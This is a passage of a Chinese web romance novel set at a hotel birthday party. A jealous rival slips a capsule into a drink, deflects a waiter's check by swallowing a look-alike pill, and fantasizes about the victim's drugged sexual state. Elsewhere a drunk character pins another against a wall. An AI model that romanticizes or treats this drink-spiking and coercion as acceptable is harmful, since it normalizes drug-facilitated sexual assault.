朗月现看着周闻铮一身质地典雅的西装,黑色明明一贯是禁欲冷淡的颜色,却让周闻铮那一身桀骜的气质绷出几分不伦不类的野性。 朗月现看得心下觉得好笑,他被周闻铮搂着腰不放手也只觉得这人喝多了在闹,心下回忆着剧情,眼睛开始在场馆内搜寻另一位主角的身影,伸手推了推周闻铮的胸膛。 落地窗倒映着两道几乎相贴的身影,周闻铮看着镜中自己发红的眼尾。朗月现后腰抵着周闻铮滚烫的大手,被他圈在双臂之间,正笑着推开他胸膛:“这就开始耍酒疯?太早了吧。”那尾音音调微扬着,带着一点玩味的散漫,嗓音低低的缠上来,撩拨得人耳尖发麻。 那截手腕将将从他掌心溜走时,周闻铮突然直起身,一把圈住朗月现的后腰带进自己怀里。 “朗月现。”他声音哑得自己都心惊,他下巴抵着对方肩窝,被那深蓝的尾羽轻轻搔在了脸上,就像是搔在了心尖上,痒的叫人难以忍受。 周闻铮只觉得搂着人的指尖发痒,喉头发痒,胸口更是痒的让人抓狂,他看着对方的耳垂,好想就这么狠狠舔上一口解解他的痒,温热的酒气拂过朗月现耳畔:“我……” 我什么呢? 周闻铮不敢说。 周闻铮并没有真的喝醉,他只是借着那人口中自己的醉意肆意将人拉近。他此刻完全能清醒地想象出这句话带来的后果,不是一句喝多了可以掩饰过去的,而那后果,是周闻铮承受不了的。 他张了张嘴,在朗月现看不见的背后闭眼,让那三个字在齿尖碎成无声的叹息。 “你醉得不轻。”朗月现反手摸他额头,周闻铮就势将滚烫的脸埋进对方颈侧。隔着血管下蓬勃的跳动,他数着朗月现的心跳,直到朗月现彻底挣脱开他的怀抱,直到所有未宣之于口的爱意都变成掌心里潮湿的银河—— 系统不断张望:“咋还没来啊?” 朗月现轻笑一声,转身依靠在吧台边沿,指尖漫不经心的转着红蓝相间的鸡尾酒,张口慢悠悠地说道:“你怎么比当事人还急,好像很盼着他来?”他仰头饮尽最后一口酒液,玻璃杯底磕在台面上发出清脆声响。 朗月现转移阵地来到二层酒吧,昏暗暧昧的环境中普遍玩嗨了的年轻人们肆意欢笑,群魔乱舞。朗月现觉得自己的头莫名有些发晕,拒绝了朋友的热情邀请,占据了调酒吧台的位置,饶有兴致的看着这群人胡闹。 其实刚刚在宴会厅,朗月现在喝下第一杯香槟时就觉得有些不对劲,隐隐约约的能感觉到脚步有些发飘。后面在应付了几个人,多喝了几杯后,头脑莫名发晕,手脚也软,对什么都提不起劲来。以至于周闻铮晕着头贴上来搂他的时候,他任由着他耍了会儿酒疯,都没能第一时间反应过来让其滚远点。 这就很不正常,他的酒量不说有多好,但是也不至于几杯香槟就能把他放倒。朗月现清醒的记得今晚是关键节点发生的日子,一直吊着心神。提前让系统兑换了万能解毒药,在感受到有任何不对劲的时候便干脆利落地吞了药,时效24个小时,怎么都能把剧情撑过去了。 周闻铮也跟着下来了,他把外套扔在宴会厅,单穿一件衬衫,正趴在吧台冰凉的金属台面上,后颈发茬被汗水浸得发亮,泛红的眼尾耷拉着,手指还死死揪着朗月现的衬衣下摆。 “松手。”朗月现屈指弹了下他发烫的耳垂,换来一声含混的呜咽。 周闻铮算是发现了,朗月现今晚对于他醉酒状态时的耐心不是一般的多,醉鬼非但没撒手,反而得寸进尺地俯下身子,把额头抵在他腰侧,烫人的呼吸透过薄薄的布料渗进来。 朗月现用杯沿挑起周闻铮的下巴,毫不留情的扔到一边。这人喝多了之后跟个狗皮膏药一样,赶都赶不走,粘人的要命。朗月现今晚抱着还要看他们主角热闹的心态,就由着他去了。 “那可不,宝还等着看剧情发展呢,重点是他们要一见钟情啊,多奇怪,上次见面还差点打起来。谁也看不惯谁,宝想看看世界意志到底怎么能让他们一见钟情。” 朗月现似笑非笑,语气暧昧道:“这有什么不能,男人和荷尔蒙碰撞的期望值,比你玩的那些游戏代码还容易,荷尔蒙上头,可比打架简单多了。” 他偏头看了一眼坐在他身边,眼睛被酒精蒸的有些泛红,半伏在台面上依旧固执地撑着头,用犬科动物般湿漉漉的眼神盯着自己的周闻铮,不以为意嗤笑道:“喏,就像这位,从见面就张牙舞爪的狼崽子,几杯酒下肚不也成了这个傻样。” 系统恍然道:“原来是这样吗?宿主你懂得好多,那宿主你有上头的经历吗?” 朗月现眼睛眨都没眨,酒杯在唇边印出嫣红之下的齿痕,毫不留情的否认:“我只会让别人心动。” 系统不服气,还要再追问些什么,却看见朗月现转头望向门口,嘴角勾起玩味的弧度:“来了。” 周闻铮看着朗月现突然直起了倚靠着的身体,不解的也顺着目光望了过去,这一下就被定住了视线。 盛衍穿着白色的衬衣,手臂上搭着脱下的深灰色西装外套,挟着夜风走了进来。他气息还有些不稳,直直的冲朗月现走过来,在看到朗月现的瞬间露出春风化雨的笑。 他满是歉意的开口解释道:“抱歉,小月,演出突然出现了些意外情况,拖了一会儿时间,我来晚了。” “不晚,玩嘛,什么时候来都不晚。”朗月现淡笑着晃了晃空酒杯,微微侧过头,意味深长地欣赏着表情复杂,皱着眉眯着眼睛仔细盯着盛衍看的周闻铮,内心语气很欠,慢条斯理对系统说道:“怎么说,你家宿主厉不厉害吧。” 系统震惊:“真厉害,上次见面互相都不认识就开始莫名其妙不对付的两个人,这次就能这么盯着看这么半天?到底还是世界意识恶心啊,宿主咱们可不能大意了啊,这是劲敌啊。” 朗月现:“……原来不是夸我吗?” 而还不知道被揶揄的周闻铮眼睛还死死盯着盛衍胸前那个蓝色的孔雀尾羽胸针,与朗月现耳朵上垂着的克什米尔蓝凰尾羽形成刺眼的镜像。 周闻铮登时就变了脸色,后槽牙咬碎了含在口中解酒的冰块,本就显凶的锋利骨相透着被激怒的红,情绪在压抑的边缘游走。 这家伙一定是提前托人打听了朗月现今晚准备的宴会穿搭,特地选了和他款式相似的饰品作为搭配,简直是司马昭之心,生怕别人看不出那点龌龊心思。 周闻铮向来在揣度人心这件事上不拿手,但是在检测情敌的雷达上完全是24小时拉满状态,捕捉情敌的蛛丝马迹,他能像是野狼嗅血般敏锐。 这浑身上下写满了心机的家伙刚一露面,周闻铮就知道他肚子里藏得是什么坏水。 之前被锁在周家主宅的记忆又涌上来,周闻铮还没忘了上次被迫禁足,只能眼睁睁看着整个校园网上传的都是朗月现和盛衍之间有多般配的帖子。这家伙当时有多得意,他在家里就有多愤怒。 这次竟然又耍小心思,还敢直接在自己面前挑衅。 盛衍正微微倾身说着什么,领口隐约传来清凉的岩兰草气息在被酒意包裹的夜晚带给朗月现颇为不一样的感觉,很是舒适的感觉引得朗月现甚至想再近一步。 周闻铮突然起身,精壮的胸膛撞得吧台银铃乱颤。他像被侵犯领地的凶兽绷紧肩胛,衬衫在动作间勒出蓄势待发的轮廓,喉结在脖颈爆起的青筋下滚动。 他从喉咙里挤出冷笑,烈酒灼烧的眼底漫出血丝:“盛会长倒是消息灵通,连胸针莫不是拿着尺子比着人做的?” 舞池摇曳的彩光略过他高挺眉骨上的银钻眉钉,闪着同眉眼中一样冷硬的寒光。周闻铮还记得自己当晚在房间内枯坐了一夜,手机屏幕在深夜里明明灭灭,那张双人照像是淬了毒的针,扎的他对着天花板枯坐到晨光熹微。 此刻面前两人之间相似的对视和相似的蓝色幽光如同引信,干脆利落的点燃了他压抑良久的妒火。 “是嘛,周同学不说,我还没注意到。” 盛衍从容地笑着看向了朗月现,胸前的孔雀胸针在灯光下转动出傲慢的弧线,盛衍用故作惊喜地语气说道:“真巧啊,看来我和小月……” 一声清冽的脆响,朗月现一转头就看见玻璃杯在周闻铮手中终于不堪重负的炸开,酒液在掌心蜿蜒,周闻铮浑然不觉,他盯着那枚胸针笑得森然:“说得好啊,盛会长睁眼说瞎话的本事……” 他沾着酒液的手指突然按在盛衍的胸针上,下一秒在众人都没反应过来时,一把将硕大的胸针直接从盛衍胸口狠狠扯了下来,布料撕开的裂口混着周闻铮语气中嗜血的快意:“倒是比这假孔雀鲜亮多了。” 第三十七章 好像即将溺毙的人终于触到海底的释然 盛衍被侍应生带走去换衣服, 朗月现满脸无奈的扶着额头转向周闻铮,气极反笑:“你这爱扯人胸针的毛病什么时候能改改?” 周闻铮一噎,知道对方又要提起上次自己扯他翡翠胸针的事。当时他理直气壮强行留下了朗月现的胸针之后, 还没美上几天的功夫,朗家突然差人送来了一整套帝王绿翡翠饰品。 周闻铮受宠若惊中又有些不解, 朗太太差事的人回话说,上次宴会结束后,朗太太发现小儿子的胸针不见了,询问起来,朗月现眼睛都不眨就给周闻铮卖了,说周闻铮典型土匪作风, 贪图他的翡翠,连句漂亮话都不给, 上手就抢。 朗太太得知之后,误以为周闻铮喜欢这套翡翠,特意找了同一个设计师又准备了一套相似款式,给周闻铮送来了。 “太太说, 既然是周少的心头好,万没有只送单件的道理。” 周闻铮听完朗家传话的人说完,脸已经红到没法看了。他羞的脸红脖子粗,手背青筋爆起,双手颤抖着接下了朗太太的好意。 转头就去撬了他爸的保险柜,把他爸前段时间刚刚在拍卖会花了天价拍下,留做收藏的日内瓦黄钻套装当做回礼,亲自上门送了过去。 周父知道后差点背过气去,血压直飚,直呼家贼难防啊。 此刻被旧事重提, 他还能清晰得回忆起,当时朗太太掩唇微笑着接下他面红耳赤,双手递上回礼时的场景。 周闻铮大赧,只觉得耳尖又开始发烫,强装镇定道:“他不老实,来参加你的宴会还搞那些小心思,我看着心烦。” 朗月现轻轻瞥了他一眼:“我看你是酒醒了。” 周闻铮:“……” 周闻铮小声嘟囔了几句头还是晕,看东西也看不清,朗月现懒得搭理他,周闻铮掂了掂那枚胸针,心下愈发厌恶,四周环顾了一圈,没找到合适丢掉的地方,思索了一下,还是准备带回去再销毁更放心,就随手揣进了兜里。 朗月现挑着眉看着他的小动作,以为周闻铮就是嘴硬,其实就是想偷偷留下盛衍的东西,刚想张口揶揄调侃几句,忽然有阴影覆了过来,正站在刚刚盛衍驻留的位置上。 陈臻也已经眼巴巴偷看了朗月现一个晚上了,就等着他独处的时候自己能上前同他热络地说上几句话。可周闻铮简直像是见了肉骨头的狗一样,守的那叫一个寸步不离。 陈臻也等得心焦,朋友叫他一起去玩他也没那个心思。酒是一杯杯下肚,结果不但没等到周闻铮离开,反而又来了一个长相颇为俊朗,身姿儒雅的公子哥,看起来和朗月现也非常熟稔。 他甚至看见朗月现在聊天时下意识向那个人身上倾身靠近,仿佛想更离那人更近一步。 还没等陈臻也急着上前,周闻铮先行为惊人地直接将人的衣服扯坏了。等那举止儒雅的公子哥一离开,陈臻也也不想再等下去了,他拿起酒杯起身就往朗月现身旁走去。 而真的走近了那心心念念许久的人身边,陈臻也看着那玉石雕刻一般线条流畅完美的侧脸,突然生出一股近乡情怯的微妙心态来。 他一肚子要跟朗月现说的话全部憋在了胸口处,火热的各处流窜。陈臻也站在阴影里原地缓了片刻,终于还是上前一步,声音里某种压抑的低音,又带着一点温柔的语调:“月现,生日快乐。” 朗月现转过头,出现在他面前的男人精心打理的亮眼金发在灯光下泛着蜂蜜般金黄甜蜜的光泽。他抬眼打量了一下眼前高挑的帅气男人,神色淡然,下巴微点,礼节性的示意了一下,敷衍地连酒杯都没拿起来。 陈臻也眼神烙在他脸上,眼底波涛汹涌,静静等待片刻,见对方只是淡漠颔首,才反应过来朗月现并没有下文了。 那张玉雕般的面容上,漆黑明亮的眼珠映着他颤抖的倒影,却连执杯致意的动作都欠奉。 他突然意识到,那双眼睛里浮动的,完全是望向陌生人的淡然疏离。朗月现好像完全没认出他来,或者说,已经不记得他了。 陈臻也一下有些着急,他慌乱地调整站位,踉跄着向前半步,直到将自己完全展露在朗月现眼前,尾音都有些颤抖:“月现……你不记得我了吗?” 周闻铮无意识地慢慢摩挲着调酒师刚刚调好的威士忌杯壁,硕大的冰球化开的水汽洇湿了他的指尖。 他冷眼看着突然横插在他们二人之间的男人,斜倚着吧台的姿态看着闲散,眼神却像是狩猎间隙盯着猎物的狼犬。 周闻铮在看清来人时,心里一个不爽就想让其滚蛋,可是余光却看见朗月现脸上淡漠的神情,还有陈臻也绷紧的后颈线条。 突然觉得还是要让每个人都得到他们应有的报应。周闻铮勾着唇懒洋洋地转着冰球,好整以暇地等着好好看这人的笑话。 不管朗月现还记不记得,周闻铮是知道眼前这个男人的,全国最大的旅游服务业的龙头太子爷。 不光是全国各大旅游目的地的开发管理,国内凡是能叫得出名声的酒店,十家有八家都是陈家手下的产业。周家搞运输,其实与陈家关系还算紧密,两家在业务上时常合作,周闻铮这位尽职尽责的二世祖都难免对陈家了解一二。 但就是这么一个掌握着全国70%高端酒店命脉,在旅游地产圈布下天罗地网,只要好好相处绝对没坏处的完美合作伙伴,朗秉白却在此基础上,实行了一场足以震动京圈的商业地震。 朗氏在几年前的某一天突然单方面宣布,终止和陈氏所有合作。并且是以雷霆手段,全方位严令禁止,解除与陈氏酒店所有的合作项目。 而且这一决定直接由朗秉白,这位朗氏集团掌权人亲自下的死命令,董事会也无法否认决议。凭着朗父在首都的影响力,当时情况严重到逼得陈家主事人亲自出马试图缓和关系。 关系最后倒是缓和了,朗秉白收回了宣告,代价就是,陈家三少爷陈臻也再也没在他们那群富二代的圈子里出现过。 周闻铮当时在国外也听说了这个事,因朗太太和周太太多年好友,两家私下里关系很好,周闻铮和朗秉白打过几次交道。 朗秉白这人城府极深,杀伐果断,唯利是图,是个难得一见,极其优秀的商业暴君。周父私底下不知道感慨过多少次,朗延明养的这个好儿子,实在是让他眼红到夜不能寐。 有钱不赚王八蛋,尤其是在朗秉白信奉利益至上的商人信条中,能让他如此决绝的拒绝一个能够带给他的只有数不清利益的完美合作伙伴,那就一定是触碰到朗秉白绝对的逆鳞了。 朗月现的名字在周闻铮的脑海中一瞬间显现,他立刻托人去查,但是朗家对这件事封锁的非常及时,而且除了当事人,似乎并没有多余的人了解事情原由,逆鳞本人更是毫不知情。 只知道那天是高中校庆,朗秉白亲自去了学校接朗月现回家,其余所有事都传不出来一丝一毫。 陈臻也在朗家强势的态度下被陈家“流放”至国外念书,直到前不久查到朗家的口风并没有那么严了,用转让给朗氏一座度假胜地的开发权的代价,才将人带了回来。知道事关朗月现之后,周闻铮对陈臻也的态度也不客气的直接转变,他更是个不在乎什么双方合作,什么利益关系,肆意妄为的家伙,算是在自己的朋友圈内单方面封杀了这个人。 但是陈臻也什么也不在乎,他在乎的只有现在在他眼前的这个人,他回来之后什么也不想,就想再见他一面。 离开的时候甚至连告别都不被允许,所有有关朗月现的联系方式全部被删除,就连这次的邀请还是姐姐亲自去找的朗秉白,为他求来的。 因为陈臻也曾一度在国外多次去看了心理医生,姐姐心疼他,不知道又让陈家付出了什么代价换来的这张邀请函。 而朗月现,却完全忘记他了。 朗月现听到他的问话,微微愣了愣,条件反射如实回道:“不记得了,你是?” 陈臻也此刻精心准备的台词全哽在喉间,他硬扯着嘴角,露出一个不是很好看的僵硬笑容,故作不在意道:“我……我早就猜到了,这么长时间,你估计早就忘记我了……” 旁边的周闻铮突然发出一声并不响亮,但难以忽视的嗤笑,陈臻也得脸一下羞赧的通红,手中捏着的杯子也被一瞬间紧张到汗湿的手打滑到几乎握不住。 他几乎是下意识,把无能为力,求饶一般的目光投向了那个在场唯一能救他的人身上。但朗月现似乎耐心有限,他甚至微微蹙起了眉,对一直挡在他面前的陈臻也感觉到了不耐烦。 陈臻也眼中看见的只有朗月现在灯光下显得格外冷淡的侧脸。朗月现的无动于衷像把钝刀,陈臻也听见自己喉间溢出半声呜咽,又硬生生吞了回去。 他内心一片荒凉,身体也有些发颤,只觉得心里怎么会这么空。 “我是……陈臻也。” 听到这个有些熟悉的名字,朗月现终于大发慈悲开始回忆起来,但是他身边的人太多,他又对人很难产生多么深刻的印象。 他垂下眼睫,像是从记忆深处翻找某个蒙尘的名字,结果努力了没有三秒便决定放弃,朗月现搭着下巴,微微迟疑地眨眨眼:“嗯……你好。” 陈臻也终于听到了他期盼已久两人重逢时的反应,却与他每晚睡不着觉时疯狂的想象大相径庭。那社交礼仪般的微笑冷的他胃部抽痛,浑身不适。 陈臻也突然想起被朗家保镖删除所有联系方式的那晚,他后知后觉地感受到了和现在十分相像,那种令人生理性不适,无机质般的冷感。 陈臻也垂眸,凝神盯着地面,静静听着朗月现的回答,指尖狠狠掐进掌心。 半响后,他抬起脸,抓了抓自己为了今晚特地又重新染成金色的头发,露出一个咧开嘴,开朗到虚假的大笑,声音像绷到极致的琴弦,仿佛马上就要濒临断裂般发着难以辨认的细颤:“没关系的,我记得你就好。” “我记得你最爱花堡酒庄出产的勃艮第红酒,最喜欢的厄瓜多尔的玫瑰,最讨厌百合花香,上学时最讨厌的学科是政治,趴着睡觉的时候头喜欢往左边偏,左手腕内侧还有颗小红痣……”语速越来越快,仿佛慢下来就会被什么追上,然后被毫不留情的吞噬。 朗月现突然竖起食指抵在唇边,优雅的噤声手势利落地截断未尽之言,他声音又低又轻,在鼻息间叹出压抑着烦躁的,冷冰冰的暴戾。 “嘘,太吵了。”—— 陈臻也浑浑噩噩,记不清自己是怎么穿过迷离的舞池,走到酒吧的另一边。 耳边狂轰乱炸的音乐像是隔了层毛玻璃,朋友的声音时远时近,他隐约觉得有声音从远处慢慢清晰起来。直到那呼喊突然炸开在耳膜上,他才猛然惊觉自己正用力攥着二楼冰凉的金属栏杆,目光涣散得呆呆看着下方。 朋友扳过他肩膀,看见他难看的脸色,倒吸一口冷气,惊愕地问道:“你怎么了,刚刚不还好好的?” 陈臻也好像听不真切一样,迟缓地眨动眼睛,瞳孔中是酒吧光怪陆离的各色灯光和朋友惊愕的面孔不断重叠,过了好一会儿才慢慢的摇了摇头。 朋友以为他喝多了不舒服,连拖带拽把他带到角落里的卡座,准备让他先休息一会儿,顺手就要把他面前的酒杯带走,陈臻也突然暴起伸手扣住对方手腕。 朋友被陈臻也钳制的很痛,还怎么也挣扎不开,他“嘶”了一声,疑惑的低声斥道:“干嘛啊你,握的太紧了,快松开我。” 陈臻也抬头看着他,表情非常复杂,眼眶通红,露出困兽一般的纠结又痛苦的神情,他听见自己混着铁锈味的沙哑声音:“……别动,我有用。” 朋友走后,陈臻也摸了摸自己的裤兜,瞳孔在眼眶中震颤,耳膜鼓胀着尖锐嗡鸣,指尖也不受控的颤抖,如果陈臻也的姐姐在这,就能很快的意识到,陈臻也这是发病的前兆。 陈臻也出国后不久就患上了中度的焦虑和双相情感障碍,平时看起来与普通人无异,但一旦受到了强刺激,他的精神就会陷入极度偏执。 脑神经像是被无形的手拧成麻绳,会不断反复在脑海中重复那个让他非常痛苦的片段,凭他自己的意志根本无法走出困境,只能依靠外力作用和药物支撑。 陈臻也回国后已经很久没犯过病了,尤其是在知道自己要见到朗月现的这段时间,情绪状态一天比一天好,甚至能整夜安眠。 陈臻也的姐姐甚至乐观的想着,弟弟等到真见到了朗月现的那天,那些折磨他的梦魇和痛苦说不定都会消失,或许可以彻底解脱心结。 “见到他就好了”姐姐说这句话的时候,陈臻也的指甲狠狠的掐住了虎口,浑身激动的泛起细密的疙瘩,脸上却笑得灿烂。 “嗯!” 陈臻也从兜里拿出一小盒药,那是他姐姐以防万一,特地嘱咐他随手携带,如果有不舒服就要吃的药。 陈臻也低着头,看着杯底倒映着无数个朗月现,冷漠垂眼的,不屑一顾的,淡然浅笑的…… 周围狂欢的声浪如同存在于另一个世界,而他端坐在孤岛中央,安静得像具被抽离灵魂的标本。 陈臻也想起自己昨晚也是这样,端坐在浴室氤氲水汽里,看着姐姐给他准备的药粉一个个打着旋消失在排水口,倒影中的自己也是这样笑着,自嘲中又带着点解脱,就好像即将溺毙的人终于触到海底的释然。 他突然短促地笑出声,他觉得自己真的是很了解朗月现。 那些每晚在梦里反复幻想的甜蜜重逢,每每等他醒过来都忍不住嘲笑自己的自欺欺人。 他早就料到,朗月现在面对他时会出现的反应,表情,神态,以及那种对于自己的不耐和厌烦的情绪。 不然,自己怎么会提前把姐姐给他准备的抗抑郁药丸换成这个呢? 陈臻也将桌上的酒拉近,把药盒中红色包装的胶囊拧开,倒进了酒杯里。 而他刚刚完成了这一动作,手臂猛地被一名侍者抓住了,侍者脸上露着友好的微笑,钳制住他的手臂却丝毫不放松:“先生需要帮助吗?您在酒里放的这是什么东西?” 陈臻也瞳孔猛然紧缩,也* 就慌了一瞬,便反应过来,他镇定的回道:“这是醒酒的药,我常吃的,头晕的实在难受。对了,我这儿还有,你可以检查一下。” 陈臻也将兜里的药又拿出来,两相对比,确实一模一样,侍者依旧不放心,刚准备把陈臻也放过药的酒带去查验,陈臻也便当着他的面将拿出的药塞进嘴里,把酒杯中的酒水举起来一饮而尽。 “看,的确是解酒药,你可以拿一粒去化验。” 侍者离开后,陈臻也照旧,又在一杯新的酒水中放进了同样的红色胶囊中的颗粒,这次并没有人再上前阻拦他了。 第三十八章 快了,只要这杯酒划过那截喉管 舞池方向爆发出欢呼声浪, 酒吧四射的各色灯光在陈臻也蒙上层水雾的视野中扭曲成光怪陆离的诡谲漩涡。 陈臻也攥紧汗湿的掌心,手中握着的酒杯中金子般的酒液倒映着天花板上不断晃动的光斑。 他绕开舞池中狂欢的人群,一步步再次走向那个人。当眼前重又出现那张玫瑰般的昳丽面容, 陈臻也精准地掐住左手虎口,用尖锐的疼痛将嘴角调整成得体的弧度。 他内心不断上下翻涌的惶恐, 纠结,犹豫,在看到那双在昏暗的光线下也显出绯红颜色的诱人唇瓣时,一瞬间便消失了。他忽然期待起马上要发生的事情,或许等到药效发作时,就能在那人眼里看到除了冷漠厌恶之外的神情。 周闻铮不知道去了哪, 守了一晚上财宝的恶龙终于舍得离开他的珍宝了,这简直是天赐良机。 “月现。”酒杯与冰冷的吧台台面碰撞出轻响, 陈臻也注意到朗月现用手指撑着头,白皙细腻的脖颈在灯光下泛着诱人的色泽。 陈臻也端着酒杯站在朗月现面前,说话的声音都在抖,却不是因为心虚, 而是控制不住的激动:“月现……我刚刚太急迫想让你记起我了,态度也不是很好,今天是你的生日,好几年的朋友,给我一个敬你一杯酒的机会好吗?” 朗月现的睫毛在眼下投出浅灰阴影,他正在揉按太阳穴。从几小时前喝了酒开始,若有若无的眩晕感就一直缠绕着他的神经。他甚至怀疑自己是不是因为太长时间没喝酒,怎么现在酒量差到这个地步了。 朗月现指尖微顿,掀起眼帘看向再次出现在他面前的男人,在酒吧的射灯下, 那一头金发像个炸毛的狮子。陈臻也的确在各个方面都证明出他确实很了解朗月现,递过来的酒有一股清新的黄桃槐花蜜的香味,确实是朗月现最喜欢喝的那一款,如果不是朗月现今晚莫名其妙的头脑一直发晕,他可能真的会接过来。 “这款桃红是你之前爱喝的,不知道你还喜不喜欢。”陈臻将酒杯推过吧台,冰球撞击杯壁的脆响混在酒吧此刻正在播放的爵士乐里,“就当是…这几年的告别礼?” 朗月现微不可察地轻叹一声,盯着那杯香槟,面无表情也不开口说话,让别人琢磨不定他的态度。其实朗月现只是眼前有些眩晕,那杯金子般的清亮液体照在他眼中,晃得人眼眶发烫。 对方睫毛眨动的刹那,陈臻也听见自己血管里奔涌的轰鸣,某种隐秘的期待突然在胃里炸开。药效发作时,这双永远结着霜的眼睛会露出怎样的裂痕? 快了,只要这杯酒滑过那截喉管,那些被碾碎的情绪,那些被抛弃的痛苦,都会化作缠绕在他们俩身上的荆棘,刺进心脏,抵死缠绵。 想到那一幕,陈臻也喉结滚动着咽下亢奋的唾液,他仿佛已经看见朗月现那张淡然的面容涌上潮红的欲色,那对着自己冷漠的声线化作黏稠的喘息。 衣服撕扯开的声响,皮带扣弹开的脆响,还有猎物在情热中无意识喊出的那个名字。 当然是他陈臻也的名字,他要让这个名字成为永远烙在朗月现脑海中的最深刻的记忆,就像朗月现这些年对自己做的那样。 陈臻也藏在裤袋里的左手神经质地摩挲药盒的边缘,他有些迫不及待,用发烫的掌心,将特地调配的陷阱又往朗月现的面前推了推,忍不住催促道:“月现,就算为我们错位的这几年,画个句号,好吗?能不能……” 话没说完就被突然出现的周闻铮的笑声打断。周闻铮简直要气笑了,他就上了个厕所的功夫,这狗皮膏药就又黏上来了。 周闻铮受不了禁锢,终于还是把板正的衬衫穿的散漫不羁,领口大敞着露出大片还泛着汗光的蜜色肌肤,那鼓胀的肱二头肌被水汽浸湿,紧贴在衬衫上,箍出结实完美的肌肉线条。 伸手夺杯时小臂血管突突直跳,整个人像是某些三级片中靠身材诱人的特殊演员,站在那性张力爆棚,显得色气十足。 周闻铮一支胳膊从朗月现身后穿过,搂住了他的肩,靠着宽阔高大的身形,用这个占有欲十足的姿势,将人彻底圈在自己怀中,另一只手猛地夺下了陈臻也握着的酒。 “磨叽个屁!”周闻铮仰头灌下整杯酒,喉结滚动时漏出的酒液顺着下巴流进领口。玻璃杯“咚”地砸在吧台上,他冲陈臻也咧嘴笑:“满意了?能滚了吗?” 陈臻也一瞬间惊慌失措,瞳孔骤然紧缩,手指节攥紧得发白。他盯着挂在杯壁上剩余的几滴晃动的琥珀色酒液,感觉太阳穴突突直跳。 精心准备的台词全喂了狗,完全不知道该作何反应,想发火都找不到出路,直接怔在了原地。 朗月现突然晃了下,反手扶住吧台时握住了周闻铮揽在他背后的结实小臂。朗月现皱了皱眉,从喝完酒之后开始的头晕越来越严重,眼前周闻铮不爽的怒容和陈臻抽搐的嘴角都蒙上一层毛边,像对不上焦的老式相机。 “我去吹会风。”他手脚发软的推开周闻铮,摸出房卡向外走去。 陈臻也的喉间泛起铁锈味,眼睁睁看着猎物挣脱牢笼。脚步划过地面的轻响像把冰锥扎进太阳穴,他这才惊觉自己策划的完美复仇早已偏离轨道。 而当周闻铮转头用泛红的眼珠锁住他时,那些蛰伏在阴影里的恶念突然调转矛头,化作毒蛇顺着脊骨蜿蜒而上。 他的指甲深深陷进掌心的纹路中,眼睛死死盯着周闻铮绷紧的背肌线条,某种诡异的快感混着恐惧在胸腔发酵。 那不如就让这场闹剧更疯狂些吧,让那欲望摧毁所有理智,让那高傲的月光坠入泥沼,让那冷漠的灵魂沾满污秽。 多好啊,既然精心布置的陷阱困不住月亮,那就让失控的野兽撕碎月光。如果他求而不得的月亮碎掉了,那他这个最终跪在废墟里拼凑残骸的,不就能彻底拥有整颗月亮了吗? * 酒吧另一侧,两名侍者耳麦上的红光一闪而过,年轻侍者疾步贴近同伴耳畔,压低声音耳语了几句。 另一位侍者擦拭酒杯的动作顿了半拍,微微蹙了蹙眉,他侧头再次确认第二次耳语内容,眼底晃动着明显的疑惑。待传话的侍者退回到阴影后,他转身走向环形楼梯,指腹无意识摩挲着对讲机侧边的磨损痕迹。 二楼观景台栏杆沁着冰凉的雾气,侍者凝视着下方浮动的人群,低下头思考了片刻。朗秉白之前的警告还在耳边震响:无论任何风吹草动,只要事关朗月现,一律第一时间事无巨细的全部告知他。 但是这件事,和朗二少并无关系,可是又确实十分令人在意。 侍者握着内部通讯,犹豫了很久,最终还是按下了快捷通话键。 —— 电梯数字在镜面墙上跳动时,朗月现的后背已经渗出了冷汗。衬衫光滑的面料摩擦着发烫的皮肤,他按了按眉心,在脑海中问系统:“这是怎么回事,解药失效了?” 系统也有点紧张,仔细检查了朗月现的身体状态后,才安下心来,说道:“宿主的身体没有出现有任何中药情况,只是酒精耐受度下降了好几个百分点,通俗来讲,宿主你现在的状态叫做,一杯倒?” 朗月现:“我的酒量被改变了?” 系统点头:“估计是世界意志干的,有我在宿主体内,世界意志不能直接操控有关宿主的一切行为,但是可以从改变一些小方向用以达成自己的目的。” 朗月现看着电梯镜面反射出自己带着些许水雾的眼睛,扯开领口,“世界意志连我的代谢酶都要插手?原书中朗月现可是十分清醒地上了周闻铮的床。” “观测者效应,”系统弹出全息投影:“当剧情变量到达一定比例后,世界意志会自动生成补偿机制,修补逻辑漏洞。” 朗月现低笑一声,走出电梯,这是好兆头,说明现在整个剧情走向同原书确实差异很大,逼迫世界意志不得不从角色身上下手。 但是让他喝醉了世界意志能获得什么好处?连原书剧情中的朗月现都是保证清醒才能去对周闻铮实行一系列手段,他这样头晕眼花的状态怎么让原书剧情这条脱轨的列车推回既定的深渊? 朗月现不予多想,他头晕的只想赶紧冲个澡清醒一些,顶楼走廊地毯厚得能吞没脚步声。朗月现第三次把房卡贴错感应区时,身后骤然压上的体温烫得他脊背一僵。 朗月现揉着突突直跳的太阳穴蹙眉:“滚蛋。” 周闻铮被骂了也恍然不觉,他单手撑着门,影子将朗月现整个严密的包裹在身前,骨节分明的手掌覆住他握着房卡的手,利落地刷开了房门,压着人直接进到了房间里。 朗月现刚刷开房门就被撞到玄关墙上。周闻铮滚烫的呼吸喷在他耳后,膝盖卡进他两腿之间。智能窗帘自动打开,整面落地窗外是城市闪烁的灯海,在朗月现看不见的身后映得周闻铮充血的眼睛像一头失智的野兽。 “滚去你自己的房间。”朗月现被周闻铮压着,衣服也被两具紧靠的身体揉的皱成一片,露出劲瘦细腻的后腰。他闻到周闻铮身上蒸腾的酒气混着青柠罗勒的热带水果清香,“别装疯,滚开。” 肌肉记忆比理智更快反应,周闻铮的大腿肌肉因过度紧绷而微微抽搐。隔着两层布料传来的体温让他后槽牙发酸,朗月现后腰凹陷处渗出的薄汗正透过衬衫,在他掌心晕开潮湿的印记。他听见自己吞咽的声音大得惊人。 身后传来衣料摩擦声,周闻铮突然松了力道,他踉跄着退后半步,扯开的衬衣领口泛着细密的汗珠。周闻铮难得这么听话,他觉得自己这次好像真的有点醉了,浑身莫名热的要命,如果再这么压着朗月现会出大事。 周闻铮扯着大敞的领口走进房间,鞋也不脱,把羊毛毯踩出深坑。他重重摔进沙发里,仰面朝上,手臂盖在脸上,“借地儿醒个酒……”声音闷在手臂里,发出沙哑的喘息,“陈臻也那孙子拿的什么酒,劲这么大……” 朗月现垂眸理了理皱成一团的衬衫,懒懒瞥了他一眼,抬步也向房间内走去:“十分钟。” 话音刚落就听见浴室门反锁声,周闻铮瘫在沙发上,后脑撞击沙发靠垫的钝痛让他清醒半分,周闻铮盯着天花板的玻璃吊灯,试图用数水晶棱镜的方式分散注意力。 